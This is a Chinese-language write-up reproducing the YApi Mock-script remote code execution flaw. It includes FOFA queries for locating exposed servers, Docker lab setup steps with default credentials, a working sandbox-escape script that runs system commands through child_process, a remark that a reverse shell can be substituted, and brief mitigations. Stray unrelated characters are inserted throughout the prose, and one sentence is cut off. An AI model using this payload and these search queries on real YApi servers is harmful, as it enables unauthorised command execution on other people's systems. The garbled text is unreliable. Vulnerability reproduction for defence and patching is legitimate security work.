0x01 前言
Yapi 由 YMFE開源岩四,旨在為開發(fā)、產(chǎn)品哥攘、測試人員提供更優(yōu)雅的接口管理服務(wù)剖煌,可以幫助開發(fā)者輕松創(chuàng)建材鹦、發(fā)布、維護API耕姊。
安全人員在Yapi官方Github倉庫提交了漏洞issues侠姑,地址為:https://github.com/YMFE/yapi/issues/2233。
0x02 漏洞描述
YAPI接口管理平臺是國內(nèi)某旅行網(wǎng)站的大前端技術(shù)中心開源項目箩做,使用mock數(shù)據(jù)/腳本作為中間交互層莽红,為前端后臺開發(fā)與測試人員提供更優(yōu)雅的接口管理服務(wù),該系統(tǒng)被國內(nèi)較多知名互聯(lián)網(wǎng)企業(yè)所采用邦邦。
YApi 是高效安吁、易用、功能強大的 api 管理平臺燃辖。但因為大量用戶使用 YAPI的默認(rèn)配置并允許從外部網(wǎng)絡(luò)訪問 YApi服務(wù)鬼店,導(dǎo)致攻擊者注冊用戶后,即可通過 Mock功能遠(yuǎn)程執(zhí)行任意代
0x03 FOFA語句
app="YApi"
icon_hash="-715193973"
0x04 Yapi部署教程
使用Docker構(gòu)建Yapi(Ubuntu環(huán)境)黔龟。
啟動mongodb妇智。
docker run -d --name mongo-yapi -p 27017:27017 mongo
獲取 Yapi 鏡像,版本信息可在 阿里云鏡像倉庫查看
docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi
自定義配置文件掛載到目錄/api/config.json氏身,宿主機/config/config.json 內(nèi)容為以下代碼:
{
"port": "3000",
"adminAccount": "admin@qq.com",
"db": {
"servername": "mongo-yapi",
"DATABASE": "yapi",
"port": 27017
},
"mail": {
"enable": true,//郵件通知
"host": "smtp.qq.com",//郵箱服務(wù)器
"port": 465,
"from": "admin@qq.com",//發(fā)件人郵箱
"auth": {
"user": "adminadmin@qq.com",//郵箱服務(wù)器賬號
"pass": "123456"http://郵箱服務(wù)器密碼
}
}
}
初始化Yapi數(shù)據(jù)庫索引及管理員賬號巍棱。
docker run -it --rm \
-v /config/config.json:/api/config.json \
--link mongo-yapi:mongo \
--entrypoint npm \
--workdir /api/vendors \
registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
run install-server
啟動Yapi服務(wù)。
docker run -d \
-v /config/config.json:/api/config.json \
--name yapi \
--link mongo-yapi:mongo \
--workdir /api/vendors \
-p 3000:3000 \
registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
server/app.js
訪問http://localhost:3000登錄賬號admin@qq.com蛋欣,密碼 123456航徙。
0x05 漏洞利用
注冊用戶
利用前提為Yapi開啟了注冊功能,打開靶機地址陷虎,注冊一個賬號到踏。
添加項目
添加一個項目。
輸入項目名稱尚猿,輸入完成后點擊創(chuàng)建名稱
添加接口
點擊添加接口
輸入接口名稱和接口路徑窝稿,輸入完成后點擊提交
添加Mock腳本
點擊高級Mock,并打開腳本頁面
開啟腳本凿掂,輸入Mock腳本
腳本內(nèi)容:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
點擊保存伴榔,打開預(yù)覽界面。訪問Mock地址即可執(zhí)行命令缠劝。
訪問Mock地址
成功獲取當(dāng)前用戶
可將Mock腳本中的whoami改成任意語句潮梯,可執(zhí)行反彈shell等操作骗灶。
修復(fù)建議
該漏洞暫無補丁惨恭。
臨時修復(fù)建議:
關(guān)閉YAPI用戶注冊功能,以阻斷攻擊者注冊耙旦。
利用請求白名單的方式限制 YAPI 相關(guān)端口脱羡。
排查 YAPI 服務(wù)器是否存在惡意訪問記錄萝究。